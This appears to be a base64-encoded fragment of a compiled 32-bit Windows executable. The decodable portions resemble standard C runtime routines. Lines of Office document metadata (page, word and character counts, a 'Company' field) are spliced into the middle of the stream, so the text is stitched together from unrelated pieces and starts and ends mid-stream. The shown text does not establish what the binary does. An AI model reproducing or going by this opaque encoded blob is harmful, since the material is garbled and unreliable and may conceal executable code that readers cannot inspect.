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
Amount of Pages 2
Amount of Words 412
Amount of Characters 2536

DocumentSummaryInformation Metadata

Company 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//O00QcyaKE0NBiZ0g5f//gPoKdQv/hTDl///GAA1ARogQQEaB/v8TAABy1YvwjYVI5f//K/BqAI2FKOX//1BWjYVI5f//UIuFJOX//4sA/zQH/xVM0AAQhcAPhEMCAACLhSjl//8BhTjl//87xg+MOwIAAIvDK4U05f//O0UQD4Js////6SUCAACAvT/l//8CD4XNAAAAi5005f//OU0QD4ZIAgAAg6VA5f//AIvLK4005f//agKNhUjl//9eO00Qc0MPtxMD3gPOiZ0g5f//g/oKdRoBtTDl//9qDVtmiRiLnSDl//8DxgG1QOX//wG1QOX//2aJEAPGgb1A5f///hMAAHK4i/CNhUjl//8r8GoAjYUo5f//UFaNhUjl//9Qi4Uk5f//iwD/NAf/FUzQABCFwA+EaQEAAIuFKOX//wGFOOX//zvGD4xhAQAAi8MrhTTl//87RRAPgkf////pSwEAAIuFNOX//4mFLOX//zlNEA+GdQEAAIuNLOX//4OlQOX//wArjTTl//9qAo2FSPn//147TRBzO4uVLOX//w+3EgG1LOX//wPOg/oKdQ5qDVtmiRgDxgG1QOX//wG1QOX//2aJEAPGgb1A5f//qAYAAHLAM/ZWVmhVDQAAjY3w6///UY2NSPn//yvBmSvC0fhQi8FQVmjp/QAA/xUk0AAQi9g73g+ElwAAAGoAjYUo5f//UIvDK8ZQjYQ18Ov//1CLhSTl//+LAP80B/8VTNAAEIXAdAwDtSjl//873n/L6wz/FRTQABCJhUTl//873n9ci4Us5f//K4U05f//iYU45f//O0UQD4IL////6z9RjY0o5f//Uf91EP+1NOX///80OP8VTNAAEIXAdBWLhSjl//+DpUTl//8AiYU45f//6wz/FRTQABCJhUTl//+DvTjl//8AdWyDvUTl//8AdC1qBV45tUTl//91FOit3v//xwAJAAAA6LXe//+JMOs//7VE5f//6Lne//9Z6zGLhSTl//+LAPZEBwRAdA+LhTTl//+AOBp1BDPA6yTobd7//8cAHAAAAOh13v//gyAAg8j/6wyLhTjl//8rhTDl//9bi038XzPNXuiGw///ycNqEGgA9wAQ6Afn//+LXQiD+/51G+g53v//gyAA6B7e///HAAkAAACDyP/plAAAAIXbeAg7HSg6ARByGugS3v//gyAA6P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